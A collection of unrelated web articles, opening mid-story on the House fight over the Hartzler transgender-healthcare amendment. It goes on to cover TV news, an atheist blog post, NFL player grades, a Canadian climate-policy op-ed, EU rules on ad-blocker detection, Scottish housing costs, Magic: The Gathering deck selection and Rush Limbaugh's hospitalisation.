amendment, who asked for anonymity in order to speak about the process. “Going into that vote that morning that day, my anxiety level was so high because we were so close and it was going to be so tight.”  Mattis called Hartzler at least once, including the day of the NDAA vote, to urge her to withdraw the amendment. Two sources told The Hill that the Defense secretary also spoke with Speaker Paul Ryan Paul Davis RyanBrexit and exit: A transatlantic comparison Five takeaways from McCabe’s allegations against Trump The Hill's 12:30 Report: Sanders set to shake up 2020 race MORE (R-Wis.) last week.  And now the lobbying process is beginning all over again, as the House prepares to vote on the legislation to fund the Defense Department.  The Hill spoke with seven Capitol Hill staffers and lobbyists about the issue, all of whom asked to remain off the record to protect their clients, employers or associates.  Some Republican lawmakers are angry with leaders for allowing the initial amendment to go to a vote last week, and are now fighting to keep it off the table again.  “There are many members who voted in favor of the amendment the first time but are advocating that the amendment not be made in order the second time,” said a Republican aide, mentioning an effort to push leaders. Conservative members are also reportedly pushing hard in favor of the measure.  The House Rules Committee, which is tightly controlled by GOP leadership, will meet Monday and Tuesday to decide which amendments make it into the Defense Department’s appropriations bill, including discussion on the Hartzler amendment.  The Family Research Council, Heritage Action and Alliance Defending Freedom have been among those urging members to support the amendment.  Hartzler and the amendment’s supporters ague that paying for transgender-related healthcare is too high a cost for the government — putting the projected figure above $1 billion over the next decade.  “The job of Congress is to ensure that our military is the most effective, efficient and well-funded fighting force in the world. With the challenges we are facing across the globe, we are asking the American people to invest their hard-earned money in national defense," Hartzler said in a statement. "Each dollar needs to be spent to address threats facing us."  Critics say Hartzler's figure is "fake," pointing two studies from the New England Journal of Medicine and the RAND Corporation that show projected costs of between roughly $2.4 million and $8.4 million.  Last year, the Obama administration ended the prohibition on transgender people serving openly in the military, but set a transition to occur in stages.  The Defense Department is currently reviewing whether to accept new soldiers who identify as transgender.  Opponents of the amendment are pushing back on a number of fronts, including on the basis of LGBT rights and the belief that the Pentagon should be setting military priorities.  “The job of our Armed Forces is to defend our country, and the DoD should be given more leeway than other parts of the executive branch with respect to personnel decisions,” wrote Rep. Justin Amash Justin AmashHouse to push back at Trump on border Ex-GOP lawmakers urge Republicans to block Trump's emergency declaration This week: Congress, Trump set for showdown on emergency declaration MORE (R-Mich.) in a Facebook post explaining his “no” vote on the Hartzler amendment.  “Those who serve in our Armed Forces deserve the best medical care. …. With respect to transgender persons, we should focus on the best science, not the political or philosophical opinions of partisans,” he said.  The Paul Singer-funded Republican LGBT advocacy group American Unity Fund — joined by the Palm Center and OutServe, two organizations that focus on LGBT individuals serving in the military, and Human Rights Campaign — led the charge on marshaling forces on Capitol Hill and the Pentagon against the amendment.  "The politics of these issues should have evolved to a point where leadership isn’t putting members in this position unnecessarily. You have a lot of prominent Republicans who have come a long way on this," said a Republican lobbyist who advocated against the amendment.  While public views on LGBT issues like same-sex marriage have shifted in recent years, transgender advocates say winning support from some Republicans would be an important milestone.  “To have a couple dozen house Republicans and a unified Democratic caucus take that vote to protect the transgender community, I think that’s a watershed moment” for transgender issues, said another Republican lobbyist who worked the issue.  “People are sick of toxic social issues. They’re sick of people playing political games and bully them to use must-pass legislation — in the NDAA or spending bills — to get these victories they otherwise wouldn’t have,” the lobbyist added.  It harkens back to an amendment last year, sponsored by Republican Rep. Steve Russell from Oklahoma, which would have provided a “religious liberty” exemption to an Obama executive order prohibiting government contractors from discriminating against employees on the basis of gender identity or sexual orientation.  Rep. Charlie Dent (R-Pa.), a leader of the Tuesday Group, was among a group of bipartisan lawmakers who launched a failed attempt to override it. The Russell amendment was ultimately removed from the NDAA in the Senate.  “After the Russell amendment, there is a heightened awareness regarding issues affecting the LGBT community,” said the Republican staffer. “People are paying much greater attention to those issues and amendments that affect those issues.”  — Updated on July 25
-Joe Utichi contributes to Deadline’s UK coverage.  The current series of BBC Three hit Being Human, about a trio of supernatural roommates, will be its last. The characters will face the Devil himself in the program’s “apocalyptic end”, the BBC said. The show, which started airing its fifth series February 3, was created by Toby Whithouse and began life as a stand-alone pilot starring Andrea Riseborough, Russell Tovey and Guy Flanagan. Only Tovey carried over to the series, which has featured revolving main players like Lenora Crichlow, Aidan Turner and Sinead Keenan. Season 5’s cast of Michael Socha, Damien Molony, Kate Bracken and Steven Robertson will see the show out. A U.S. adaptation is currently airing an all-new third season on Syfy; the original has been a hit on BBC America since debuting in 2009.
-Images are important. We often use images to think about others, to understand them and to interact with them. But images can be wrong.  Some Christians, when imagining themselves to be generous, have an image of Atheists as “searchers”. They envision us as fumbling in the dark until we discover their brand of Truth. Or perhaps they use the image of the proverbial blind men who can only barely perceive the elephant [God]. Thus they see their role as being there to gently fill in our lack of vision. These Christians get their “seeker” image from one of their favorite Bible verses where Jesus says:  ‘So I say to you, Ask, and it will be given to you; Search, and you will find; Knock, and the door will be opened for you. For everyone who asks receives, and everyone who searches finds, and for everyone who knocks, the door will be opened.  — Luke 11: 9-10 (NRSV)  You see, using this image of us as searching for the truth, Christians can then feel they are part of God’s mission to help us — they are there to offer our blind eyes a glimpse of Jesus. To them, it is much more generous to see us as blind seekers rather than to just envision us as doomed blasphemous unbelievers. For if we are “seekers” or “searchers”, we are not yet full blown dangerous hell-fated heretics. To rid themselves of that image, they are compelled to sanitize us with the “Seeker Image”. For if they didn’t, they would have to contend with this haunting Bible verse that commands them to shun us:  Everyone who does not abide in the teaching of Christ, but goes beyond it, does not have God; whoever abides in the teaching has both the Father and the Son. Do not receive into the house or welcome anyone who comes to you and does not bring this teaching; for to welcome is to participate in the evil deeds of such a person.  — 2 John 1:9-11 (NRSV)  Thus if they are truly Bible-loving Christians and they want to keep relating with us unbelievers, they must first sanitize us. They sanitize us by imaging us poor atheists as still “searching”. They then think of themselves as being in relationship to us so as to gently guide us toward the light — toward truth. Or perhaps to just be kind to us while God works with us. Either way, once they have sanitized us as being a “searcher” instead of just a pure outright blasphemer, they feel safe to continue relating to us. These images help ease their cognitive dissonance.  This sanitization is further needed because of another conscience-haunting Bible verse:  Do not be mismatched with unbelievers. For what partnership is there between righteousness and lawlessness? Or what fellowship is there between light and darkness?  — 2 Corinthians 6:14 (NRSV)  So, 2 John tells them to shun guests or strangers who don’t believe, while 2 Corinthians tells them to not even partner up with deniers of Christ.  So, how can a Bible-loving Christian deal with us hell-bound unbelievers? They must do something to cure their cognitive dissonance. Well, one method is to use the imagery in the Luke verse above (also in Matthew 7:7). They can use Luke and Matthew to help see us as seekers who may someday find Jesus. Doing this, they sanitize us and then can sweep those other nasty verses under their spiritual carpet and alleviate their mental distress.  But don’t let them sanitize you ! Get the image of a “searcher” out of their heads. Tell them you are an explorer !  Images are important. Don’t indulge them by letting them envision you as a blind seeker. This blind seeker image is fed by this story of Jesus healing a blind man just like you.  He [the former blind man] answered, ‘The man called Jesus made mud, spread it on my eyes, and said to me, “Go to Siloam and wash.” Then I went and washed and received my sight.’  — John 9:11 (NRSV)  I am an Explorer !  Instead of letting Christians sanitize you and thus letting them easing their consciences, keep that cognitive dissonance burning in their minds. Tell them you are not a seeker. Tell them you don’t need Jesus to rub mud in your eyes. Tell them you are not searching for either Jesus or God. Tell them you are not searching for the final truth of the universe so as to comfort your soul.  Let Christians know you are not burdened with spiritual confusion nor seeking the one answer. You are not a seeker. Instead, tell them you are an EXPLORER ! Instead of buying into their view that there is some final goal in life, tell them that “The path IS the goal”. You may appear as a seeker to them because you keep looking into all the various religious thoughts out there. But let them know you do it more as an anthropologist, a sociologist, ra psychologist, a scientist, an artist or a musician — not as a seeker. Give them the image of yourself as an excited explorer.
-Lowest-graded player at every position in NFL Week 6  By Bryson Vesnaver • Oct 18, 2016  Stick a fork in Week 6 of the NFL season, it’s done and over with. Quite a bit happened this past week, and as always, we saw some not-so-stellar play amidst the standout performances. While many like to push particularly poor games under the rug, here we bring those bad days into the light. What follows are the worst players at every position from the past week of football:  Quarterback: Derek Carr, Oakland Raiders, 35.8  After a hot start to the season, Derek Carr had his first poor game of the year against the Chiefs. While his stat-line doesn’t look horrible (22-for-34 for 225, a touchdown, and an interception) it doesn’t quite tell the whole story. His pick was a really bad throw, and he had another dangerous pass attempt that should have been intercepted. Carr also dropped a snap and had another fumble in the game.  Running back: Matt Forte, New York Jets, 42.7  Matt Forte was less than stellar in his Monday Night Football appearance, as he gained just 19 yards on nine carries and failed to force a single missed tackle. In the passing game, he caught one of three targets for 3 yards; he dropped the other two.  Wide receiver: Demaryius Thomas, Denver Broncos, 38.5  Demaryius Thomas had a Thursday night game to forget, as he caught just five passes on 10 targets. He gained just 37 yards—a mere 13 of those coming after the catch. Thomas also had a dropped pass and a key fumble as Denver was driving down the field late in the game.  Wide receiver: Marquise Goodwin, Buffalo Bills, 38.8  It wasn’t a great afternoon for Marquise Goodwin, as he caught just two passes on four targets for 22 yards. Goodwin also had an offensive pass-interference penalty, and made a mistake that cost him a catch on another target.  Slot receiver: Seth Roberts, Oakland Raiders, 47.6  Seth Roberts wasn’t horrible in his game for the Raiders, but much like the entire Oakland offense, he wasn’t good, either. Roberts caught just three passes on six targets for 29 yards against the Chiefs; all of those yards came after the catch. He also recorded a dropped pass.  Tight end: Ryan Griffin, Houston Texans, 37.6  Ryan Griffin wasn’t much help when it came to run blocking against the Colts, and he struggled in the passing game, too. Griffin caught three passes for just 31 yards and dropped the other two targets he saw.  Left tackle: Ryan Clady, New York Jets, 34.2  Ryan Clady actually graded positively in run blocking, which goes to show how poorly he played when pass blocking last night. He didn’t allow a sack, but did allow two QB hits and six hurries, as well as two other passing plays where he was beaten cleanly. Clady also took a holding penalty.  Left guard: Zane Beadles, San Francisco 49ers, 39.1  Beadles allowed two hits and two hurries when pass blocking, but struggled even more in the run game. He allowed three run stops and had multiple other plays in which he lost his block and let it affect the rusher.  Center: Cameron Erving, Cleveland Browns, 36.7  Cameron Erving was equally poor at both pass and run blocking on Sunday. He allowed a hit and three hurries, as well as a few other plays in which he was beaten. In the run game, he was unable to open pretty much any holes for Clevelands’ RBs, a group that gained just 37 yards on 14 carries.  Right guard: Germain Ifedi, Seattle Seahawks, 37.3  Another guard to struggle in the run game, rookie Germain Ifedi surrendered three tackles and another in which the tackle was missed by his man. He had a handful of other lost blocks, and in the passing game, allowed a QB hit and two hurries.  Right tackle: Donald Stephenson, Denver Broncos, 33.4  It was a stat-line to forget for Donald Stephenson on Thursday night, with two tackles surrendered in the run game, two quarterback hits, six hurries, twice beaten on pass plays with no pressure recorded, and two false start penalties. Not exactly a game for the ages.  Week 6 defense  Edge defender: Emmanuel Ogbah, Cleveland Browns, 38.1  While rookie Emmanuel Ogbah did record a sack in this game, it was a late-pursuit sack. In fact, it was his only pressure in the passing game, and in the run game he fared no better. Ogbah failed to make a single run stop, and only had one other tackle.  Interior defender: Vince Wilfork, Houston Texans, 36.2  The up-and-down season of Vince Wilfork continues with his worst game so far. Despite playing 47 snaps against the Colts, he failed to make any kind of impact. His stat-line looks like a baker’s dozen of donuts, as he had zeros across the board in pressures, stops, and tackles.  Interior defender: Corey Liuget, San Diego Chargers, 36.3  Corey Liuget was almost as invisible as Wilfork, were it not for the Charger’s batted pass against the Broncos. That was literally the only difference, as Liuget made no other major contributions for San Diego.  Edge defender: Erik Walden, Indianapolis Colts, 39.0  Walden had just two late hurries in the pass-rushing game, and made just one run stop all evening for the Colts. He was also the man in coverage on Texans RB Lamar Miller’s touchdown catch-and-run.  Linebacker: Karlos Dansby, Cincinnati Bengals, 30.1  Dansby’s low grade comes from his poor coverage game, where he graded at 24.2 thanks to surrendering all five targets he saw for 95 yards and two touchdowns. He missed two tackles on those receptions, as 52 of those yards came after the catch.  Linebacker: Michael Wilhoite, San Francisco 49ers, 32.1  This grade was solely because of Wilhoite’s unfortunate struggles in the run game. He posted a 22.3 run-defense grade, which is extremely low. He missed two tackles and was otherwise sealed off at the second level at an alarming rate, offering almost no fight in getting off blocks.  Cornerback: Ladarius Gunter, Green Bay Packers, 24.8  Ladarius Gunter won’t look back fondly on this game. He allowed six receptions on eight targets for 119 yards and two touchdowns, as he was torched by the Cowboys’ offense. Gunter didn’t offer much in the run game, either, losing the edge a handful of times.  Cornerback: Buster Skrine, New York Jets, 26.8  Buster Skrine was picked on often by the Cardinals, and responded by breaking the rules. He had three defensive-holding penalties and a pass-interference penalty, and still surrendered seven receptions for 69 yards on 10 targets.  Slot cornerback: Tavon Young, Baltimore Ravens, 45.9  It was a good week for slot corners not named Tavon Young; how unfortunate for the Raven. Young was targeted 11 times and allowed seven of those to be caught for 123 yards and two touchdowns. He did have a nice interception, though.  Safety: Eric Reid, San Francisco 49ers, 36.6  Eric Reid found most of his struggles stemming from the run game, where he missed two tackles. He was frequently sealed out of plays when trying to help out, and also surrendered two catches for 50 yards and a touchdown when in coverage.  Safety: Kemal Ishmael, Atlanta Falcons, 37.3  Kemal Ishmael saw most of his low grade result from his poor coverage. He was the lone coverage man on seven targets, and allowed five of those throws to be caught for 69 yards. Ishmael also recorded a missed tackle.  Week 6 special teams  Punter: Riley Dixon, Denver Broncos  Dixon had five punts on the day and averaged just 38.6 net yards per attempt. Four of the five were returned, and only two of them landed inside the 20-yard line.  Kicker: Cairo Santos, Kansas City Chiefs  Cairo Santos missed both an extra point and a 38-yard field goal on Sunday.  Kick returners: Kenny Wiggins and Travis Benjamin, San Diego Chargers  This is Worst Team of the Week history, as two players from the same team make it for the same position. Wiggins and Benjamin each had just one return, and they both muffed their opportunity.
-Thank you for supporting the journalism that our community needs!  For unlimited access to the best local, national, and international news and much more, try an All Access Digital subscription:  We hope you have enjoyed your trial! To continue reading, we recommend our Read Now Pay Later membership. Simply add a form of payment and pay only 27¢ per article.  *Introductory pricing schedule for 12 month: $0.99/month plus tax for first 3 months, $5.99/month for months 4 - 6, $10.99/month for months 7 - 9, $13.99/month for months 10 - 12. Standard All Access Digital rate of $16.99/month begins after first year.  *Introductory pricing schedule for 12 month: $0.99/month plus tax for first 3 months, $5.99/month for months 4 - 6, $10.99/month for months 7 - 9, $13.99/month for months 10 - 12. Standard All Access Digital rate of $16.99/month begins after first year.  *Introductory pricing schedule for 12 month: $0.99/month plus tax for first 3 months, $5.99/month for months 4 - 6, $10.99/month for months 7 - 9, $13.99/month for months 10 - 12. Standard All Access Digital rate of $16.99/month begins after first year.  *Introductory pricing schedule for 12 month: $0.99/month plus tax for first 3 months, $5.99/month for months 4 - 6, $10.99/month for months 7 - 9, $13.99/month for months 10 - 12. Standard All Access Digital rate of $16.99/month begins after first year.  Thank you for supporting the journalism that our community needs!  For unlimited access to the best local, national, and international news and much more, try an All Access Digital subscription:  We hope you have enjoyed your trial! To continue reading, we recommend our Read Now Pay Later membership. Simply add a form of payment and pay only 27¢ per article.  Thank you for supporting the journalism that our community needs!  For unlimited access to the best local, national, and international news and much more, try an All Access Digital subscription:  We hope you have enjoyed your trial! To continue reading, we recommend our Read Now Pay Later membership. Simply add a form of payment and pay only 27¢ per article.  Investments in research and technologies in electrical generation and storage are highlighted in the plan to begin the movement toward carbon reductions. These are critical in two respects: appropriate technology varies depending on regional differences, and consequent economic benefits are substantial. This highlights a clear Canadian energy policy involving investments in clean energy, support for emerging clean-technology companies and a Canada Green Investment Bond to support both large and community-scale renewable-energy projects. Federal agencies could provide their facilities as test beds for prototype testing.  Climate change is correctly addressed as a technical problem on a world scale that can be corrected with appropriate technology. Climate scientists' calculations indicate the atmosphere currently holds about 400 parts per million (ppm): the ratio of carbon dioxide molecules compared to all other atmospheric molecules. Reducing this ratio to 350 ppm is the agreed-upon goal to neutralize human impacts.  There is much to commend, particularly the reliance on facts and research driving the plan. What a breath of fresh air after a decade of these being ignored. The plan weaves several major issues into a cohesive whole, including climate change, economic productivity, protection of special ecological systems and a revamp of Canada's decimated environmental-assessment capacity. Clearly, this vision derives from a team of experts, thinking long-term and focused on Canada's future economic and environmental viability.  Hey there, time traveller! This article was published 4/7/2015 (1333 days ago), so information in it may no longer be current.  Hey there, time traveller!  This article was published 4/7/2015 (1333 days ago), so information in it may no longer be current.  Liberal Leader Justin Trudeau has released the Liberal party's policy statement outlining a comprehensible forward-looking plan for "Canada's Environment and Economy".  There is much to commend, particularly the reliance on facts and research driving the plan. What a breath of fresh air after a decade of these being ignored. The plan weaves several major issues into a cohesive whole, including climate change, economic productivity, protection of special ecological systems and a revamp of Canada's decimated environmental-assessment capacity. Clearly, this vision derives from a team of experts, thinking long-term and focused on Canada's future economic and environmental viability.  Climate change is correctly addressed as a technical problem on a world scale that can be corrected with appropriate technology. Climate scientists' calculations indicate the atmosphere currently holds about 400 parts per million (ppm): the ratio of carbon dioxide molecules compared to all other atmospheric molecules. Reducing this ratio to 350 ppm is the agreed-upon goal to neutralize human impacts.  Investments in research and technologies in electrical generation and storage are highlighted in the plan to begin the movement toward carbon reductions. These are critical in two respects: appropriate technology varies depending on regional differences, and consequent economic benefits are substantial. This highlights a clear Canadian energy policy involving investments in clean energy, support for emerging clean-technology companies and a Canada Green Investment Bond to support both large and community-scale renewable-energy projects. Federal agencies could provide their facilities as test beds for prototype testing.  The plan shows how science can be used to understand environmental problems and the consequences of options to solve them. These are linked with economic theory and analysis and explain how environmental solutions also solve economic dilemmas. Investments in green technologies will improve productivity, instead of the current policy of spending public funds on petroleum-development subsidies, a cost that exacerbates climate change.  Prime Minister Stephen Harper argues the economy takes priority, implying addressing climate change cannot be an economic generator, but a luxury to be considered — when? This assumes climate change does not seriously impact Canada's economic foundations, now or in the future. Harper recently accepted an international political agreement to eliminate greenhouse gases by 2100. This is simply ridiculous. Before 2050, greenhouse gases must be significantly reduced to prevent global warming becoming self-generating.  While Harper is busy collecting data from the provinces to add them up for political advantage, the comprehensive Liberal plan involves working with provincial and territorial governments to address the actual fundamentals of climate change.  Trudeau's plan recognizes each province and territory has different resources, different energy sources and, therefore, different effects from climate change. It acknowledges effective solutions must account for these. One size does not fit all. Given the disrespect climate change impacts have for provincial boundaries, intergovernmental co-operation is essential. The Prairie Farm Rehabilitation Agency, a former federal agency for addressing Prairie drought, is cited as an example of an integrating model. The Liberal proposal recognizes at times a federal emergency agency may need to pick up some of the overload, perhaps by equipping Canada's military to be world-class leaders in responding to weather-related emergencies.  Hopefully, new funding for the Experimental Lakes Area will evolve over time to the establishment of "ecological research stations" in all 15 major ecological systems in Canada. These would provide significant data and research to improve knowledge of the complexities within each ecological system and better insights into local climate change and how they might be mitigated.  A specific mechanism isn't spelled out to achieve all this. However, within a national framework, federal agreements will be needed with each province and territory to facilitate working together to identify, for each jurisdiction, specific circumstances, objectives and programs to reduce greenhouse gas emissions and mitigate climate impacts. Where necessary, adjacent provincial governments should be included in such co-operative arrangements. This approach is not without precedent.  The Liberal plan is a beginning and basis to build a way forward to improve productivity while dealing with Canada's responsibilities for climate change and long-term ecological vitality.  Jim Collinson consults on the complexities among energy, environment and economy, and was assistant deputy minister for the Department of Regional Economic Expansion (Western and Northern Canada) and Parks Canada.
-Websites that detect ad-blockers to stop their users from reading webpages could be illegal under European law.  Alexander Hanff, a privacy campaigner and programmer, says he has received a letter from the European Commission confirming that browser-side web scripts that pick out advert blockers access people's personal data (ie: the plugin stored on their computer). Thus, just like you need to give permission to EU websites to access and store your cookies, ad-blocker detectors must ask for permission before probing your browser.  Since so many people are bugging me for them here are photos of the relevant pages of letter. pic.twitter.com/vcTG0qdhIC — Alexander Hanff (@alexanderhanff) April 20, 2016  Therefore, under EU law in force since May 2011, people must give their consent before an anti-ad-blocker script can run and hide content on a page. Of course, while waiting for that consent from a visitor, the site could refuse to show anything, but then the publisher will scare off all readers, even the ones who turn out to be not running anti-ad plugins. If the page is viewable while waiting for the consent, then blocking ad-blockers is pointless.  Hanff has now said he will be using the commission's letter as the basis for a series of legal challenges against firms that use anti-ad-blocking software. Next week he'll also be setting up a website for people to identify websites that use the code, so that a list of potential defendants can been identified.  That's bad news for outlets that have decided to block anti-ad plugins. ®
-Aberdeen has come second on a list of least affordable cities in Scotland to buy a house in a new report.  The average house price in cities has risen by almost 3% from £181,061 in 2016 to £186,002 in 2017, compared to 1% across the whole of Scotland.  As a result, average home affordability has worsened for the fourth year in a row, from 5.2 to 5.3 times gross average earnings.  Edinburgh topped the list with Aberdeen, Perth, Dundee and Inverness making up the top five.  Graham Blair, mortgage director at Bank of Scotland, which conducted the report, said: “Homebuyers in Scotland’s cities have seen affordability levels worsen for the fourth consecutive year as average city house prices have continued to rise more steeply than average wage growth.  “However, the average price-to-earnings ratio in Scotland’s cities is 5.3 – lower than the UK cities average of 6.9.  “It’s little surprise that Edinburgh retains its title as Scotland’s least affordable city, with Aberdeen close behind.”
-A little bit of abstraction, a little bit of concrete advice. Usually when reading articles of that type (this type), I think it’s wise to discard the abstraction and see if you can walk away carrying only the practical advice, and form your own abstractions later as needed. No hard feelings. I find the abstract stuff fun to write and fun to think about, hopefully it’s a fun read too.  (Three Degrees of) Freedom in Deck Selection  On the topic of deck selection, friend of the website Adam Barnello recently advised, “I’m a subscriber to the idea that there is very rarely a de facto ‘best deck’ in any environment, but rather a spectrum of decks that are highly competitive; and the individual who is piloting the deck has a significant contribution to the value of the deck itself. In other words, pick the deck that’s best for you out of the group of decks that comprise the best in the field.”  Adam is not the first to express the idea, and many of my readers I suspect independently developed an understanding of this concept if they hadn’t already encountered it.  He’s right that the idea that there is a single best deck (i.e. there are 75 cards that you can say everyone who did not play made a mistake) is probably wrong and even if it’s true in some abstract sense, it is very probably wrong in practice.  Three variables interact when a Pro goes to select their deck:  Metagame evaluation (similar to a Keynesian Beauty Contest but a little different since your strategy doesn’t terminate with playing the most popular decks, but rather goes one step further to play the deck that’s best against the most popular decks), which interacts with The Power level of decks, which interacts with Your ability with the decks (inclusive of the experience you have with the decks and your ability at actually tuning the construction of the decks, as well as and the time you have available to improve).  Between metagame evaluation, power level, and your ability, there are three degrees of freedom. No one or two variables alone gives a Pro enough information to select their deck.  But there is a caveat for the non-top-Pro player: Your ability is also a threshold/gating variable that screens you off from playing decks you aren’t good enough to use. This makes it possible to know only one fact like “The only deck I know how to play is Goblins” and conclude that you should play Goblins. This works, but it doesn’t work well. It helps you select your deck in the same way a “what cards do I own?” algorithm helps you. It might be the best you can do, but if you’re reading these articles I hope you can do better.  The real danger of saying, “play the deck that’s best for you” is that this mindset encourages the aspiring Pro to not learn how to incorporate metagame evaluation and raw power level evaluation into their model for which deck to play. “Do the best exercise for you.” Sure, but don’t do only that. Don’t forget there are other things you could be doing. Don’t skip leg day.  (By the way, if you’re not an aspiring Pro, that’s fine of course, but then serious strategic advice about deck selection is not for you. I know part of Adam’s reasoning is that he wants to have fun, not just win. But for some of us, winning is first on our minds as we prepare, and fun always seems to show up to the same tournaments that winning does. If you’ve noticed that close kinship in your own Magic experience between winning and having fun, keep reading).  Dyson (Power in a Vacuum)  Is there truly an “in-a-vacuum” power level, raw power level, for a deck? Maybe (theoretically, with an alien supercomputer and/or a long timeline, you could build every possible 60-card deck [apologies to JWay] and simulate a round robin-tournament and emerge with a best deck). But probably not in the real world with no equilibrium for deck choices that resembles the arbitrary “every possible 60-card deck” field. In those real-life scenarios, you have to know something about the metagame to know a deck’s power level.  But still, “some decks are more powerful than others” is a better heuristic than “we don’t know which decks are powerful.” The reason is, at the tournament, there will be a metagame that emerged from ordered and predictable processes, even if you don’t know it. The map is not the territory. More specifically, your lack of a map does not mean the terrain is featureless. Some decks have a goal of dealing 20 damage quickly, and are usually (in typical metagames we should expect to face) better at it than other decks with similar goals. Some decks play control, but use cards like Cryptic Command that just tend to be very powerful in the Magic games we usually end up playing. Other decks have less “raw power” because they play a card like Soldier of the Pantheon that is neutralized fairly easily, is often a bad topdeck, is outclassed by something like Wild Nacatl if we’re talking about Modern, and rarely leads to a synergistic deck that can make up for these shortcomings. Does it mean playing these “weaker” decks is wrong? As I’ve already said, no it does not. There are other variables.  In sum, no there is not really a “raw power level,” but as soon as you assume some contours of the likely metagame, those assumptions have implications such that we can reasonably talk about Deck A being more powerful than Deck B (if we agree on the assumptions) in Format Y. If the format has existed for months or years, finding those broad background assumptions about the metagame and agreeing on them is pretty easy—it happens without even knowing it. Thus, we can say that in Modern, Tribal Zoo is a more powerful deck than White Weenie.  The Trade-offs  The more you know about which decks your opponents will likely show up with (metagame evaluation—a skill but also a property of the circumstances like new format vs. old format, recent reliable large events are available or they aren’t), the more you can trade off raw power for rogue choices, well-positioned tier 2 decks, or a deck you just love to play.  The better you are with a deck, the less you have to know about the metagame to select it (remember also that we bundled practice and tuning into “your ability” with the deck).  The more raw power the deck has, the less you have to know about the metagame to select it. Our raw power calculus basically assumes this to be true—it’s how you concluded the deck had raw power. Sounds somewhat circular, but in practice this means that when you are down to two decks, one you regard as “more powerful” and another you think is “better specifically against Decks A, B, and C” you better be pretty sure people are showing up in large numbers with Decks A, B, and C before you pick that latter option.  The True Master Has No Preferences, Only Abilities  If a roman gladiator is more deadly with a spear than a sword, what should he do with his preference for the sword? He should ignore it. Reaching his opponent’s vital organs with the weapon he doesn’t prefer is always preferable to failing to reach the opponent’s vital organs with his favorite weapon. Being optimistic and comfortable before a fight but dead after is a tempting trap.  So too with Goblin Guides and Mana Leaks instead of swords and spears.  Now, if you don’t know whether your gladiator is best with a spear or a sword, you might ask him which he prefers, since the belief and reality correlate positively to some degree. But if you do already know which he is best with, that knowledge removes the need to ask for his preferences before arming him. Your goal as a Magic player is to know your strengths, and listen to your preferences only while you are trying to learn your strengths, but no further.  This part is important but counter-intuitive: what matters is not how close to the deck’s ceiling you are, but how close to the format’s ceiling you are with the deck. Avoid latching on to local maxima when the global maximum is somewhere else.  The problem is, your preferences will naturally tend to track against one or more local maxima, the deck’s ceiling, not the global maximum, the format’s ceiling. This is how people end up playing with Mana Leak when Goblin Guide is best. They’ll understand this intuitively but discard that dissonant intuition with stuff like, “well, if other people make the same choice (mistake) I did, I feel like I’ll have an edge in the mirror.” Maybe, maybe not, but you’ve already failed.  “But,” said the careful reader and Pro Tour history addict, “Guillame Wafo-Tapa is in the Hall of Fame!”  Even if Wafo could play Burn, and Burn was the best deck for the field, he would still be wise to play control given that he is Guillame Wafo-Tapa… Wait a second. Did you catch that? We’re granting allowances to Wafo that I don’t think we’d be willing to grant ourselves if everything written above is true. For all we knew, Wafo was skipping leg day his whole life, but he found enough tournaments where only upper-body strength mattered that he made the Magic Pro Tour Hall of Fame.  I will strongly encourage you, again, to not skip leg day. If you’ve only got time to learn one deck at a time, switch decks every so often to get that core skill set with multiple archetypes.  Maybe Wafo’s run of good fortune where the local control maximum was close to the global format maximum will or has come to an end and Wafo won’t quite win as much at Magic. No big deal, he’s having fun. But remember, I’m writing this for the gladiators. When your opponents figure out how to defend the sword, or Weapons of the Coast stops selling awesome swords, you will be killed.  Maybe the Wafo that follows this article ends up Matt Sperling, a grinder who isn’t the best at any one thing and doesn’t have a HoF resume. But more likely he ends up Wrapter (Josh Utter-Leyton), a versatile HoF-level Pro who you really don’t want to face even on the weeks control isn’t that good. I suspect it’s the latter because all the Magic decks are hard. They’re all hard, trust me. He’s demonstrated skill with some, he’s capable of being good with the others. Wafo in our alternate universe (and maybe in our actual universe, there’s no way for me to know for sure) could still play control when it’s good but he could also play Wild Nacatl when Wild Nacatl is good, or Tempered Steel if Tempered Steel is good (Wrapter has done both).  The Beauty of the Beauty Contest  What you think is the best deck ultimately depends on what you think others will think is the best deck, based on what they think you and others will think is the best deck. The last step of determining how to attack the metagame once you’ve estimated it does involve taking stock of your abilities, but in my experience you will be better served in the medium and long term by reducing the weight you place on the abilities aspect of the decision, which will, by happy accident, get you the exposure to other deck types that you need to develop a well-rounded game.  You don’t just want to win the PPTQ that’s in front of you, you want to win the PTQ or Top 8 the GP. And you don’t just want to qualify for the Pro Tour, you want to Top 25 that Pro Tour. And eventually, years later, you want (who are we kidding, I WANT) to become one of the best ever. If you don’t, I’m sure there’s a nice Commander article somewhere on this website you can check out.  -Matt Sperling  Mtg_law_etc on Twitter.
-Gary He/Associated Press  Rush Limbaugh, the pre-eminent conservative talk-radio host, will remain at a Honolulu hospital Thursday, the guest host of his show said.  Mr. Limbaugh was rushed to the hospital Wednesday afternoon after complaining of chest pains.  “Those pains were the kind of pains that makes one feel like he as a heart attack coming on, but it has not been confirmed that it is a heart attack,” Mr. Limbaugh’s guest host, Walter E. Williams, told listeners Thursday afternoon. “Today, Thursday, he’ll have a complete examination and we’ll know more. We’ll keep everyone informed when there’s information to share.”  Mr. Williams said “Rush continues to rest very comfortably in the hospital in Honolulu,” adding, “He had a comfortable night. He’s getting good medical attention.”  “The Rush Limbaugh Show” is being led by substitute hosts this week while Mr. Limbaugh is on vacation; he was scheduled to return on Monday, Jan. 4.  Rush Limbaugh’s Web site this morning confirmed that the talk show host had been taken to a hospital, saying in a posting:  Rush was admitted to a Honolulu hospital today and is resting comfortably after suffering chest pains. Rush appreciates your prayers and well wishes. He will keep you updated via RushLimbaugh.com and on Thursday’s radio program.  His syndicator, Premiere Radio Networks, had no further comment.  The statement was issued after a Honolulu television station, KITV, reported on Mr. Limbaugh’s hospitalization Wednesday.  The station said that paramedics responded to a call at 2:41 p.m. from the Kahala Hotel and Resort, and then took Mr. Limbaugh to the Queen’s Medical Center, where he was listed in serious condition.  A hospital spokesman, N. Makana Shook, would not not comment on the report when called by The New York Times Wednesday night, and Mr. Limbaugh’s associates could not be reached for comment.  The KITV report said that Mr. Limbaugh has been in the islands during the holidays, and had been seen golfing at a local country club next to the Kahala resort.  Mr. Limbaugh is the country’s leading purveyor of political talk radio, reaching millions of listeners on about 600 stations. “Limbaugh is a master of the airwaves,” Michael Harrison, the editor of the radio industry publication Talkers Magazine, said last year. “He is the best talent on the air in modern broadcasting.”
